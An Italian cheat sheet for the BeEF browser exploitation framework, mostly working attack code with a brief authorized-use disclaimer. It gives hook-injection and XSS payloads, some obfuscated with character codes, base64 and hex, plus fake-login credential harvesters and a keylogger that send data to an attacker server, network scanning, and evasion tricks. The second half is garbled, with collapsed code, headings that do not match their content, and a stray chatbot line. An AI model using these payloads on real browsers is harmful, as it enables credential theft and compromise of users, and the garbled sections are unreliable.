BeEF Browser Exploitation Framework Cheat Sheet

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Panoramica

BeEF (Browser Exploitation Framework) è uno strumento di penetration testing che si concentra sul web browser. Permette al penetration tester professionista di valutare l'effettiva postura di sicurezza di un ambiente target utilizzando vettori di attacco lato client.

⚠️ Avvertenza: Questo strumento è destinato esclusivamente a test di penetrazione autorizzati e valutazioni di sicurezza. Assicurati di avere l'autorizzazione prima di utilizzarlo in qualsiasi ambiente.

Installazione

Kali Linux

# Install from repositories
sudo apt update
sudo apt install beef-xss

# Start BeEF
sudo beef-xss

Ubuntu/Debian

# Install dependencies
sudo apt update
sudo apt install git ruby ruby-dev bundler sqlite3 libsqlite3-dev

# Clone repository
git clone https://github.com/beefproject/beef.git
cd beef

# Install Ruby gems
bundle install

# Start BeEF
./beef

Installazione Docker

# Pull official Docker image
docker pull beefproject/beef

# Run BeEF in Docker
docker run -p 3000:3000 -p 6789:6789 -p 61985:61985 -p 61986:61986 beefproject/beef

# Run with persistent data
docker run -v /opt/beef:/beef/data -p 3000:3000 -p 6789:6789 beefproject/beef

Installazione Manuale

# Install Ruby and dependencies
curl -sSL https://get.rvm.io|bash
source ~/.rvm/scripts/rvm
rvm install 3.0.0
rvm use 3.0.0 --default

# Clone and setup BeEF
git clone https://github.com/beefproject/beef.git
cd beef
bundle install
./beef

Utilizzo Base

Avvio di BeEF

# Start BeEF server
./beef

# Start with custom configuration
./beef -c config.yaml

# Start with specific interface
./beef -x

# Start in debug mode
./beef -v

Accesso all'Interfaccia Web

# Default credentials
# Username: beef
# Password: beef

# Access web interface
# http://localhost:3000/ui/panel

# Hook URL for browsers
# http://localhost:3000/hook.js

Configurazione

Configurazione Principale (config.yaml)

beef:
    version: '0.5.4.0'
    debug: false
    crypto_default_value_length: 80

    # Web server configuration
    http:
        debug: false
        host: "0.0.0.0"
        port: "3000"

    # HTTPS configuration
    https:
        enable: false
        host: "0.0.0.0"
        port: "3443"
        cert: "beef.crt"
        key: "beef.key"

    # Database configuration
    database:
        driver: "sqlite"
        db_file: "beef.db"

    # Authentication
    credentials:
        user: "beef"
        passwd: "beef"

Configurazione Estensioni

beef:
    extension:
        admin_ui:
            enable: true

        social_engineering:
            enable: true

        metasploit:
            enable: false
            host: "127.0.0.1"
            port: 55552

        dns:
            enable: false
            port: 53

        proxy:
            enable: false
            port: 8080

Distribuzione Hook

Iniezione Hook Base

<script src="http://beef-server:3000/hook.js"></script>

<script>
var script = document.createElement('script');
script.src = 'http://beef-server:3000/hook.js';
document.head.appendChild(script);
</script>

<script>
eval(String.fromCharCode(118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,46,115,114,99,61,39,104,116,116,112,58,47,47,98,101,101,102,45,115,101,114,118,101,114,58,51,48,48,48,47,104,111,111,107,46,106,115,39,59,100,111,99,117,109,101,110,116,46,104,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59));
</script>

Tecniche Hook Avanzate

// Dynamic hook loading
function loadBeef() \\\\{
    if (typeof beef === 'undefined') \\\\{
        var script = document.createElement('script');
        script.src = 'http://beef-server:3000/hook.js';
        script.onload = function() \\\\{
            console.log('BeEF hook loaded');
        \\\\};
        document.head.appendChild(script);
    \\\\}
\\\\}

// Conditional hook loading
if (document.domain === 'target-site.com') \\\\{
    loadBeef();
\\\\}

// Time-delayed hook
setTimeout(function() \\\\{
    loadBeef();
\\\\}, 5000);

Hook tramite XSS

// Reflected XSS hook
http://vulnerable-site.com/search?q=<script src="http://beef-server:3000/hook.js"></script>

// Stored XSS hook
<img src="x" onerror="var s=document.createElement('script');s.src='http://beef-server:3000/hook.js';document.head.appendChild(s);">

// DOM-based XSS hook
javascript:var s=document.createElement('script');s.src='http://beef-server:3000/hook.js';document.head.appendChild(s);

Moduli Comandi

Informazioni Browser

# Get browser details
Browser > Get Browser Details

# Get system information
Browser > Get System Info

# Get installed plugins
Browser > Get Installed Plugins

# Get browser history
Browser > Get Visited URLs

# Get cookies
Browser > Get All Cookies

Ingegneria Sociale

# Fake notification bar
Social Engineering > Fake Notification Bar

# Pretty theft
Social Engineering > Pretty Theft

# Clippy
Social Engineering > Clippy

# Fake flash update
Social Engineering > Fake Flash Update

# Simple hijacker
Social Engineering > Simple Hijacker

Scoperta di Rete

# Internal network fingerprinting
Network > Fingerprint Network

# Port scanner
Network > Port Scanner

# Cross-origin scanner
Network > Cross-Origin Scanner

# DNS enumeration
Network > DNS Enumeration

Persistenza

# Man-in-the-browser
Persistence > Man-In-The-Browser

# Confirm close tab
Persistence > Confirm Close Tab

# Create invisible iframe
Persistence > Create Invisible Iframe

# Tunnel
Persistence > Tunnel

Attacchi Avanzati

Raccolta Credenziali

// Custom credential harvester
beef.execute(function() \\\\{
    // Create fake login form
    var overlay = document.createElement('div');
    overlay.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;';

    var form = document.createElement('div');
    form.innerHTML = `
        <div style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:30px;border-radius:5px;">
            <h3>Session Expired - Please Re-authenticate</h3>
            <input type="text" id="username" placeholder="Username" style="width:100%;padding:10px;margin:10px 0;">
            <input type="password" id="password" placeholder="Password" style="width:100%;padding:10px;margin:10px 0;">
            <button onclick="submitCreds()" style="width:100%;padding:10px;background:#007cba;color:white;border:none;">Login</button>
        </div>
    `;

    overlay.appendChild(form);
    document.body.appendChild(overlay);

    window.submitCreds = function() \\\\{
        var username = document.getElementById('username').value;
        var password = document.getElementById('password').value;

        // Send credentials to BeEF
        beef.net.send('/api/credentials', 0, 'POST',
            'username=' + encodeURIComponent(username) +
            '&password=' + encodeURIComponent(password)
        );

        overlay.remove();
    \\\\};
\\\\});

Keylogger

// Simple keylogger
beef.execute(function() \\\\{
    var keys = '';
    var lastSent = Date.now();

    document.addEventListener('keypress', function(e) \\\\{
        keys += String.fromCharCode(e.which);

        // Send keys every 10 seconds or 100 characters
        if (Date.now() - lastSent > 10000||keys.length > 100) \\\\{
            beef.net.send('/api/keylog', 0, 'POST', 'keys=' + encodeURIComponent(keys));
            keys = '';
            lastSent = Date.now();
        \\\\}
    \\\\});
\\\\});

Browser Autopwn

// Browser exploitation chain
beef.execute(function() \\\\{
    // Check for vulnerabilities
    var exploits = [
        \\\\{name: 'CVE-2021-1234', check: function() \\\\{ return navigator.userAgent.includes('Chrome/89'); \\\\}\\\\},
        \\\\{name: 'CVE-2020-5678', check: function() \\\\{ return navigator.userAgent.includes('Firefox/85'); \\\\}\\\\}
    ];

    exploits.forEach(function(exploit) \\\\{
        if (exploit.check()) \\\\{
            beef.net.send('/api/exploit', 0, 'POST', 'exploit=' + exploit.name);
        \\\\}
    \\\\});
\\\\});

Network Pivoting

Would you like me to continue with the remaining sections?```javascript // Internal network scanning beef.execute(function() \\{ var targets = []; var baseIP = '192.168.1.';

for (var i = 1; i <= 254; i++) \\\\{
    var ip = baseIP + i;
    var img = new Image();
    img.onload = function() \\\\{
        targets.push(this.src.split('/')[2]);
    \\\\};
    img.src = 'http://' + ip + '/favicon.ico?' + Math.random();
\\\\}

setTimeout(function() \\\\{
    beef.net.send('/api/network', 0, 'POST', 'targets=' + JSON.stringify(targets));
\\\\}, 5000);

\\}); ## Integrazione con Altri Strumentibash

Enable Metasploit extension in config.yaml

metasploit: enable: true host: "127.0.0.1" port: 55552

Start Metasploit RPC server

msfrpcd -P password -S -a 127.0.0.1 -p 55552

Use browser autopwn

use auxiliary/server/browser_autopwn2 set LHOST 192.168.1.100 set SRVHOST 192.168.1.100 run ### Integrazione con Metasploitbash

Use SET with BeEF

setoolkit

Select Social-Engineering Attacks

Select Website Attack Vectors

Select Credential Harvester Attack Method

Select Site Cloner

Enter target URL and BeEF hook

### Social Engineering Toolkit (SET)python

Python script for BeEF API interaction

import requests import json

class BeefAPI: def init(self, host='localhost', port=3000): self.base_url = f"http://\\{host\\}:\\{port\\}/api" self.token = None

def authenticate(self, username='beef', password='beef'):
    auth_data = \\\\{
        'username': username,
        'password': password
    \\\\}
    response = requests.post(f"\\\\{self.base_url\\\\}/admin/login", json=auth_data)
    if response.status_code == 200:
        self.token = response.json()['token']
        return True
    return False

def get_hooked_browsers(self):
    headers = \\\\{'Authorization': f'Bearer \\\\{self.token\\\\}'\\\\}
    response = requests.get(f"\\\\{self.base_url\\\\}/hooks", headers=headers)
    return response.json()

def execute_module(self, hook_id, module_id, options=\\\\{\\\\}):
    headers = \\\\{'Authorization': f'Bearer \\\\{self.token\\\\}'\\\\}
    data = \\\\{
        'module_id': module_id,
        'options': options
    \\\\}
    response = requests.post(f"\\\\{self.base_url\\\\}/modules/\\\\{hook_id\\\\}",
                           json=data, headers=headers)
    return response.json()

Usage example

beef = BeefAPI() beef.authenticate() browsers = beef.get_hooked_browsers() print(f"Hooked browsers: \\{len(browsers)\\}") ### API REST Personalizzatajavascript // Base64 encoded hook var encoded = 'dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9iZWVmLXNlcnZlcjozMDAwL2hvb2suanMnO2RvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQocyk7'; eval(atob(encoded));

// Hex encoded hook var hex = '766172207336646f63756d656e742e637265617465456c656d656e74282773637269707427293b732e7372633d27687474703a2f2f626565662d7365727665723a333030302f686f6f6b2e6a73273b646f63756d656e742e686561642e617070656e644368696c642873293b'; eval(hex.match(/.\\{2\\}/g).map(function(h) \\{ return String.fromCharCode(parseInt(h, 16)); \\}).join(''));

// Dynamic construction var parts = ['ht', 'tp:', '//', 'beef-', 'server:', '3000', '/hook.', 'js']; var url = parts.join(''); var s = document.createElement('script'); s.src = url; document.head.appendChild(s); ## Tecniche di Evasionejavascript // Use CDN for domain fronting var script = document.createElement('script'); script.src = 'https://cdn.example.com/beef/hook.js'; script.setAttribute('data-host', 'beef-server.com'); document.head.appendChild(script); ### Offuscamento dell'Hookjavascript // Hide hook in image metadata function extractHookFromImage(imageUrl) \\{ var canvas = document.createElement('canvas'); var ctx = canvas.getContext('2d'); var img = new Image();

img.onload = function() \\\\{
    canvas.width = img.width;
    canvas.height = img.height;
    ctx.drawImage(img, 0, 0);

    var imageData = ctx.getImageData(0, 0, 1, 1);
    var data = imageData.data;

    // Extract hidden data from LSB
    var hookUrl = extractLSB(data);
    loadHook(hookUrl);
\\\\};

img.src = imageUrl;

\\} ### Domain Frontingpython

Analyze BeEF sessions

import sqlite3 import json

def analyze_beef_sessions(db_path): conn = sqlite3.connect(db_path) cursor = conn.cursor()

# Get hooked browsers
cursor.execute("SELECT * FROM hooked_browsers")
browsers = cursor.fetchall()

# Get command results
cursor.execute("SELECT * FROM command_modules")
commands = cursor.fetchall()

# Generate report
report = \\\\{
    'total_browsers': len(browsers),
    'total_commands': len(commands),
    'browsers': browsers,
    'commands': commands
\\\\}

return report

Usage

report = analyze_beef_sessions('/path/to/beef.db') print(json.dumps(report, indent=2)) ### Steganografiapython

Create attack timeline

import matplotlib.pyplot as plt import datetime

def create_timeline(sessions): timestamps = [] events = []

for session in sessions:
    timestamp = datetime.datetime.fromisoformat(session['created_at'])
    timestamps.append(timestamp)
    events.append(f"Browser hooked: \\\\{session['browser_name']\\\\}")

plt.figure(figsize=(12, 6))
plt.plot(timestamps, range(len(timestamps)), 'o-')
plt.title('BeEF Attack Timeline')
plt.xlabel('Time')
plt.ylabel('Events')
plt.xticks(rotation=45)
plt.tight_layout()
plt.savefig('beef_timeline.png')

## Reportistica e Analisibash

Port already in use

sudo netstat -tulpn|grep :3000 sudo kill -9 $(lsof -t -i:3000)

Ruby version issues

rvm list rvm use 3.0.0 bundle install

Database issues

rm beef.db ./beef

Permission issues

sudo chown -R \(USER:\)USER /path/to/beef chmod +x beef ### Analisi della Sessionebash

Start BeEF in debug mode

./beef -v

Check logs

tail -f beef.log

Browser console debugging

Open browser developer tools

Check for JavaScript errors

Monitor network requests

### Analisi della Timelinebash

Check firewall rules

sudo ufw status sudo iptables -L

Test connectivity

curl http://localhost:3000/hook.js

Check DNS resolution

nslookup beef-server.com ```## Risoluzione dei Problemi https://beefproject.com/##

Problemi Comuni

https://github.com/beefproject/beef##

Modalità Debug

https://github.com/beefproject/beef/wiki##

Problemi di Rete

https://owasp.org/www-project-web-security-testing-guide/#

Considerazioni sulla Sicurezza

https://www.sans.org/white-papers/33864/##

Sicurezza Operativa

• Utilizzare HTTPS per deployment in produzione
• Modificare le credenziali predefinite
• Implementare controlli di accesso appropriati
• Monitorare per il rilevamento
• Utilizzare domini e certificati legittimi